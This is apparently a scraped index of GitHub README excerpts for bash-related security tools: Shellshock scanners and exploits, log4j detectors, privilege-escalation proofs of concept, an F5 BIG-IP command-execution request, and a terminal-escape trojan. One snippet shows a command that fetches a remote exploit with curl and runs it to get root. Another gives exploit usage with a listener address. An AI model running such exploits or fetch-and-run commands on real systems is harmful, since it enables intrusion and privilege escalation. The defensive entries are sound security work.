virustotalx

virustotalx for endpoints virustotalx for IPs V2 Installation git clone https://github.com/orwagodfather/virustotalx.git cd virustotalx create a 3 accounts https://www.virustotal.com/gui/join-us and copy the 3 api keys === nano orwa.sh & nano orwaV2.sh paste 3 api keys here .... if $apikeyindex -...

ShellShock-CGI-Scan

ShellShock-CGI-Scan A script, in C, to check if CGI scripts are vulnerable to CVE-2014-6271 The Bash Bug. Options: -i local ip-address -p port to listen -l site list -t connection timeout Default: 15s Example: $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.txt -t 5 Starting listen in localhost on por...

shellshock-poc

Shellshock-Exploit This exploit abuses the Shellshock vulnerability CVE-2014-6271 existing in bash from version 1.14 to 4.3. Usage: python3 ./exploit.py -t -u -a -p Example: python3 ./exploit.py -t 10.10.10.15 -u /cgi-bin/vulnerable -a 10.10.10.7 -p 4443 More information about the vulnerability:...

log4j-ioc-detector

log4j Linux IoC Detector A basic Bash script to detect log4j Indicator of Compromise IoC in Linux. How to Use 1. Clone this repository: git clone https://github.com/santosomar/log4j-ioc-detector 2. Run the the log4jiocdetector.sh script, as demonstrated below: bash sudo log4jiocdetector.sh A basi...

sleepall

sleepall Trojan based on the CVE-2024-28085 vulnerability https://people.rit.edu/sjf5462/6831711781/wall2272024.txt which is still unpatched anywhere. Essence: bash supports escape codes and we can control the appearance of the line in the terminal. The trojan listens to processes and looks for t...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash some usage: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2014-5284

CVE-2014-5284 Bash implementation of CVE-2014-5284 Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation Python is nice but doesn't work all the time Exploit Author: mbadanoiu Python Exploit Author: skynet-13 Vendor Homepage: www.ossec.net/ Software Link:...

CVE-2024-48990-POC

CVE-2024-48990-POC Simple poc for CVE-2024-48990 privilege escalation vulnerability with needrestart. https://www.qualys.com/2024/11/19/needrestart/needrestart.txt Overview This was desgined while working through the HackTheBox challenge, 'Conversor'. Slight modifications will be made to generali...

CVE-2024-48990-PoC

This simple shell script should create all the required file for this vulnerability to work. First it creates a randomly generated temporary file that will be used to compile the fake init.so file When the vulnerability is triggered. This file will execute and copy the bash binary to /tmp/ribbit...

patched-bash-4.3

patched-bash-4.3 patched-bash-4.3 for CVE-2014-6271 This is just bash 4.3 , pulled from the gnu website, and patched with the patches available on 9/26/2014, including the pkgsrc functionality changes that just disable the silly "execute functions in env variables" altogether. The patches are als...

bug-bounty-tools

Bug Bounty Script A BASH Script to automate the installation of the most popular bug bounty tools, the main purpose of this script is to run it on temporary/disposable virtual machines in the cloud. Tools Used Nuclei httpx Naabu Subfinder DNSx Nmap Katana Recox Wfuzz Amass SQLMap Setup 1. Copy or...

CVE-2020-9484

CVE-2020-9484 Bash POC for CVE-2020-9484 that i used in tryhackme challenge...

CVE-202122986-EXP

F5 BIG-IP Remote Command Execution Vulnerability CVE-2021-22986 Affected Versions F5 BIG-IP 16.x: 16.1.0.3 F5 BIG-IP 15.x: 15.1.0.4 F5 BIG-IP 14.x: 14.1.2.6 F5 BIG-IP 13.x: 13.1.3.4 F5 BIG-IP 12.x: 12.1.5.2 F5 BIG-IP 11.x: 11.6.5.2 fofa iconhash="-335242539" POC POST /mgmt/tm/util/bash HTTP/1.1...

POC-CVE-2026-19286

Description Proof of concept exploit code for CVE-2026-19286 Usage python3 poc.py -url -uname -pword -c...

Log4j-Updater

Log4j Updater With the inevitable need to update the famous Java framework called Log4j, numerous companies are needing to update Log4j on several computers at the same time, which takes time and cost, and that's where the Log4j Updater comes in. log4jupdater.sh is a simple bash script with the a...

log4jhound

log4jhound Bash script that detects Log4j occurences in your projects and systems: unpacks JARs and analyzes their Manifest files, text search in source code. Usage: ./log4jhound.sh rootdirectory...

Nessus_CVE-2014-6271_check

NessusCVE-2014-6271check Quick and dirty nessus .audit file to check is bash is vulnerable to CVE-2014-6271...

shellshock-shell

shellshock-shell A simple python shell-like exploit for the Shellschok CVE-2014-6271 bug. Use it to exploit known vulnerable URLs. This tool may be used only on your own authorized URLs. The author of this tool takes no responsibility for its usage. File name: shellshock.py Author: Sagi Levy -...

revisaxzutils

revisaxzutils Bash script to check if you have the CVE-2024-3094 vulnerability. Installation Quick installation for Ubuntu, Kali Linux, Parrot git clone https://github.com/hackingetico21/revisaxzutils.git cd revisaxzutils chmod +x ./revisaxzutils.sh...

docker-cve-2021-41773

CVE-2021-41773 A Demonstration to show the CVE-2021-41773 vulnerability on a docker container. Usage Server run build.shruns docker build ./scripts/build.sh NOTE: No need to do it more than once run deploy.sh creates a docker container with the image from build.sh ./scripts/deploy.sh to close the...